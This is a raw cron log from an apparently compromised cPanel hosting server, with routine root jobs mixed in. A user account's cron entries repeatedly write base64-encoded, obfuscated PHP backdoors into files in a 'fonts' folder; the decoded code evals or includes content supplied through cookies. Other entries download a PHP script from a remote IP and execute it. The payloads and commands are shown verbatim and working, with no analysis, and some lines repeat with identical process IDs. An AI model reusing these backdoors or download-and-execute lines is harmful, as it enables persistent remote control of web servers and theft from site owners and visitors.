Sep  6 04:13:01 ip-184-168-122-23 CROND[9931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:13:01 ip-184-168-122-23 CROND[9932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:13:01 ip-184-168-122-23 CROND[9933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:13:01 ip-184-168-122-23 CROND[9934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:14:01 ip-184-168-122-23 CROND[10039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:14:01 ip-184-168-122-23 CROND[10042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:14:01 ip-184-168-122-23 CROND[10041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:14:01 ip-184-168-122-23 CROND[10043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:14:01 ip-184-168-122-23 CROND[10044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:15:02 ip-184-168-122-23 CROND[10143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:15:02 ip-184-168-122-23 CROND[10144]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 04:15:02 ip-184-168-122-23 CROND[10145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:15:02 ip-184-168-122-23 CROND[10146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:15:02 ip-184-168-122-23 CROND[10147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:15:02 ip-184-168-122-23 CROND[10149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:15:02 ip-184-168-122-23 CROND[10150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:16:01 ip-184-168-122-23 CROND[10241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:16:01 ip-184-168-122-23 CROND[10246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:16:01 ip-184-168-122-23 CROND[10243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:16:01 ip-184-168-122-23 CROND[10245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:16:01 ip-184-168-122-23 CROND[10244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:16:01 ip-184-168-122-23 CROND[10247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:17:01 ip-184-168-122-23 CROND[10334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:17:01 ip-184-168-122-23 CROND[10335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:17:01 ip-184-168-122-23 CROND[10337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:17:01 ip-184-168-122-23 CROND[10338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:18:01 ip-184-168-122-23 CROND[10423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:18:01 ip-184-168-122-23 CROND[10427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:18:01 ip-184-168-122-23 CROND[10425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:18:01 ip-184-168-122-23 CROND[10426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:18:01 ip-184-168-122-23 CROND[10428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:19:01 ip-184-168-122-23 CROND[10605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:19:01 ip-184-168-122-23 CROND[10605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:19:01 ip-184-168-122-23 CROND[10608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:20:01 ip-184-168-122-23 CROND[10697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:20:01 ip-184-168-122-23 CROND[10700]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10699]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:20:01 ip-184-168-122-23 CROND[10706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:21:01 ip-184-168-122-23 CROND[10800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:21:01 ip-184-168-122-23 CROND[10804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:21:01 ip-184-168-122-23 CROND[10803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:21:01 ip-184-168-122-23 CROND[10802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:22:01 ip-184-168-122-23 CROND[10886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:22:01 ip-184-168-122-23 CROND[10884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:22:01 ip-184-168-122-23 CROND[10882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:22:01 ip-184-168-122-23 CROND[10885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:22:01 ip-184-168-122-23 CROND[10883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:23:01 ip-184-168-122-23 CROND[10970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:23:01 ip-184-168-122-23 CROND[10972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:23:01 ip-184-168-122-23 CROND[10973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
